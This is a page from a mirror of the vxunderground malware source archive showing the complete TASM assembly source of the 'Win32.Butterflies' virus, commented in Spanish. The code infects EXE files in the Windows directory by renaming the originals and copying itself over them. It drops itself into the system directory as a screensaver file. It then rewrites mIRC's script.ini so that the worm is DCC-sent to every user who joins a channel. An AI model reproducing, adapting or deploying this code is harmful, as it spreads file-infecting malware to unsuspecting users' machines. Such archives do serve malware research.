mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-18 17:36:11 +00:00
250 lines
8.4 KiB
NASM
250 lines
8.4 KiB
NASM
;Win32.Butterflies By Twizter/NuKe
|
|
|
|
.386p
|
|
|
|
.model flat ;Setting para el Tasm
|
|
|
|
.code
|
|
|
|
;=============================
|
|
|
|
extrn GetSystemDirectoryA:proc
|
|
extrn GetWindowsDirectoryA:proc
|
|
extrn lstrcat:proc
|
|
extrn ExitProcess:proc
|
|
extrn GetModuleHandleA:proc
|
|
extrn GetModuleFileNameA:proc
|
|
extrn FindFirstFileA:proc
|
|
extrn FindNextFileA:proc
|
|
extrn CopyFileA:proc
|
|
extrn DeleteFileA:proc
|
|
extrn MoveFileA:proc
|
|
extrn _lopen:proc
|
|
extrn _lwrite:proc
|
|
extrn _lclose:proc
|
|
extrn WinExec:proc
|
|
extrn SetFilePointer:proc
|
|
extrn GetCurrentDirectoryA:proc
|
|
extrn SetCurrentDirectory:proc
|
|
extrn _lread:proc
|
|
extrn _lcreat:proc
|
|
extrn SetCurrentDirectoryA:proc; Declaramos todas las funciones que vayamos a usar
|
|
;=============================
|
|
|
|
include windows.inc
|
|
|
|
;=============================
|
|
|
|
_off_ equ 2722d
|
|
_scrpt_ equ offset end_script - offset IniData1 ;Declaramos el tamaño del Script.ini
|
|
|
|
;=============================
|
|
|
|
begin:
|
|
push 00000001 ;modo de ejecucion
|
|
push offset cFileName ;nombre del .vxe el cual se guarda en el exe al momento
|
|
call WinExec ; de la infeccion
|
|
|
|
push offset path3 ;Buffer en donde guaradar el Path
|
|
push 260 ;Tamaño del buffer
|
|
call GetCurrentDirectoryA ;Obtiene el path del programa
|
|
|
|
push 25 ;Tamaño del buffer
|
|
push offset path2 ;Buffer en donde guaradar el Path
|
|
call GetWindowsDirectoryA ;obtiene el path de windows
|
|
|
|
push offset path2
|
|
call SetCurrentDirectoryA ;el directorio ahora es el de windows
|
|
|
|
push offset handle1
|
|
call GetModuleHandleA ;obtiene el handle del modulo de la fila que se esta ejecutando
|
|
|
|
push 50 ;Tamaño del buffer
|
|
push offset handle2 ;buffer
|
|
push eax ;handle del ejecutable que acabmos de obtener con la funcion anterior
|
|
call GetModuleFileNameA ;guardamos el path de este ejcutable en handle2
|
|
|
|
push offset filedta ;estructura que recibe informacion acerca de los archivos encontrados
|
|
push offset maska ; = *.Exe
|
|
call FindFirstFileA ;funcion de buscar archivos
|
|
|
|
mov dword ptr [handle_],eax ;guarda el hadle de la busqueda en _handle
|
|
cmp eax, 0 ;si la funcion devolvio un 0 hubo un error o sea que no
|
|
je done_this ;hay EXEs para infectar .
|
|
|
|
check:
|
|
; cmp nFileSizeLow, 6000d
|
|
; jle nextfile
|
|
mov bx, word ptr[cFileName] ;mueve el nombre del archivo encontrado a bx
|
|
cmp bx, 'XE' ;mira a ver si empieza por Ex , para no infectar el explorer
|
|
je nextfile ;si empieza por ex va por el proximo archivo
|
|
cmp bx, 'UR' ;mira a ver si empieza por Ru , para no infectar el RunDllxx
|
|
je nextfile ;si empieza por ex va por el proximo archivo
|
|
cmp bx, 'ur' ;lo mismo
|
|
je nextfile ;igual
|
|
cmp bx, 'ME' ;Em , para no infectar el Emm386.Exe
|
|
je nextfile ;no lo infecta
|
|
lea esi, [cFileName] ;pone en Esi el nombre del file
|
|
lea edi, [newfilename] ;pone en edi un buffer para guardar el nombre del nuevo file
|
|
stowit:
|
|
lodsb ;mueve un byte de esi a Al
|
|
cmp al, '.' ;lo compara con el punto
|
|
je addext ; si ya encontramos el punto vamos a la rutina addext
|
|
stosb ;mueve el byte an al a Edi
|
|
jmp stowit ;hace un loop hasta encontrar el punto
|
|
addext:
|
|
stosb ;mueve el "." a Edi
|
|
lea esi, [newext] ;pone en esi la extension vxe
|
|
movsw ;mueve el contenido de Esi (vxe) a Edi
|
|
movsw ;mueve el contenido de Esi (vxe) a Edi
|
|
push 0 ;Flags
|
|
push offset newfilename ;nombre con la extension .Vxe
|
|
push offset cFileName ;nombre con la extension .Exe
|
|
call MoveFileA ;convierte el .exe a . vxe
|
|
|
|
push 0 ;Flag
|
|
push offset cFileName ;nombre del .exe
|
|
push offset handle2 ;nombre del virus que se esta ejecutando
|
|
call CopyFileA ;con esta funcion copiamos este virus con el antiguo nombre del .exe
|
|
|
|
push 2 ;Write_Mode
|
|
push offset cFileName ;abrimos el .exe "infectado"
|
|
call _lopen ;Oopen file
|
|
|
|
|
|
mov dword ptr [_handle],eax ;guarda el handle del archivo abierto
|
|
|
|
push dword 0 ;how to move ; desde el file begin
|
|
push NULL
|
|
push _off_ ;offset a donde mover el puntero del file
|
|
push eax ;handle del file
|
|
call SetFilePointer ;movemos el puntero a la posicion donde se escribira el nombre del
|
|
;.vxe
|
|
|
|
mov eax, dword ptr [_handle] ;mueve el handle a Eax
|
|
push 50 ;numero de byes a escribir
|
|
push offset newfilename ;bytes que vamos a escribir
|
|
push eax ;handle del file a escribir
|
|
call _lwrite ;de esta forma si por ejemplo infectamos write.exe , en el nuevo write.exe
|
|
;se guardara el nombre write.vxe para luego ejecutarlo
|
|
|
|
push eax ;handle del archivo
|
|
call _lclose ;close the file
|
|
|
|
nextfile:
|
|
|
|
push offset filedta ;estructura donde guardar la informacion de los archivos encontrados
|
|
mov eax, dword ptr [handle_] ;handle de la primera busqueda
|
|
push eax
|
|
call FindNextFileA ;buscamos el sigueiente exe
|
|
|
|
cmp eax, 0 ;si no hay mas files
|
|
je done_this :saltamos a done_this
|
|
jmp check
|
|
|
|
done_this:
|
|
|
|
push 25 ;tamaño del buffer
|
|
push offset path1 ;buffer donde guardar
|
|
call GetSystemDirectoryA ; el directorio system ("C:\Windows\System\")
|
|
|
|
push offset handle3 ;cadena que contiene "\FlyingButterflies.scr"
|
|
push offset path1 ;path de system
|
|
call lstrcat ;juntamos las dos cadenas
|
|
|
|
push 0 ;flag
|
|
push offset path1 ;nombre que se obtuvo en la funcion anterior
|
|
push offset handle2 ;nombre de este file ("e.g:Virus.Exe")
|
|
call CopyFileA ;movemos el virus al dir. system para mandarlo con Mirc
|
|
|
|
push 2 ;flag
|
|
push offset MircLNK ;nombre del acceso directo de mirc
|
|
call _lopen :lo abrimos
|
|
|
|
mov dword ptr [_handle],eax ;handle de mirc.lnk en Eax
|
|
push dword 2
|
|
push NULL
|
|
push -50
|
|
push eax
|
|
call SetFilePointer ;nos movemos al offset -50 para ver el path de mirc
|
|
mov eax, dword ptr [_handle]
|
|
|
|
push 50
|
|
push offset MircDir
|
|
push eax
|
|
call _lread ;leemos 50 bytes en donde debe estar el path de mirc
|
|
|
|
push eax
|
|
call _lclose ;cerramos el acceso directo
|
|
|
|
std
|
|
lea esi, MircIni ;ponemos en Esi el path de mirc
|
|
|
|
get_next_byte:
|
|
lodsb ;movemos un byte de esi a al
|
|
cmp al, ':' ;vemos si ya encontramos los dos puntos
|
|
jne get_next_byte ;loop
|
|
|
|
push offset MircIni ; = \script.ini
|
|
push esi ;path del mirc
|
|
call lstrcat ;juntamos los dos
|
|
|
|
push 0 ;flag
|
|
push esi ;nombre del archivo script.ini
|
|
call _lcreate ;creamos o sobreescribimos el file
|
|
|
|
push _scrpt_ ;numero de bytes a escribir
|
|
push offset IniData1 ;contenido del script.ini
|
|
push eax ;handle del archivo creado
|
|
call _lwrite ;escribimos el archivo
|
|
|
|
push eax ;handle
|
|
call _lclose ;cerramos el archivo
|
|
|
|
push offset path3 ;Path original
|
|
call SetCurrentDirectoryA ;restauramos el path del principio
|
|
|
|
push 0
|
|
call ExitProcess ; y terminamos
|
|
|
|
;=============================
|
|
|
|
.data
|
|
handle1 db 50 dup(0)
|
|
handle2 db 50 dup(0)
|
|
maska db '*.exe',0
|
|
|
|
newext db 'vxe',0
|
|
handle_ dd 0
|
|
_handle dd 0
|
|
filedta:
|
|
FileAttributes dd 0
|
|
CreationTime db 8 dup(0)
|
|
LastAccessTime db 8 dup(0)
|
|
LastWriteTime db 8 dup(0)
|
|
nFileSizeHigh dd 0
|
|
nFileSizeLow dd 0
|
|
dwReserved0 dd 0
|
|
dwReserved1 dd 0
|
|
cFileName db 50 dup('N')
|
|
cAltFileName db 14 dup(0)
|
|
newfilename db 50 dup(0)
|
|
|
|
path2 db 25 dup(0)
|
|
path3 db 260 dup(0)
|
|
MircLNK db 'Start Menu\Programs\mIRC\mIRC32.LNK',0
|
|
MircDir db 50 dup(0)
|
|
|
|
MircIni db '\script.ini',0
|
|
Mirc_ db 'c:\mirc\script.ini',0
|
|
IniData1:
|
|
db '[Script]',0dh,0ah
|
|
db 'n0=ON 1:JOIN:#:{ /if ( $nick == $me ) { halt }',0dh,0ah
|
|
db 'n1= /dcc send $nick '
|
|
path1 db 25 dup(0)
|
|
handle3 db '\FlyingButterflies.scr',0,'}'
|
|
db 100 dup(0)
|
|
end_script:
|
|
|
|
|
|
end begin |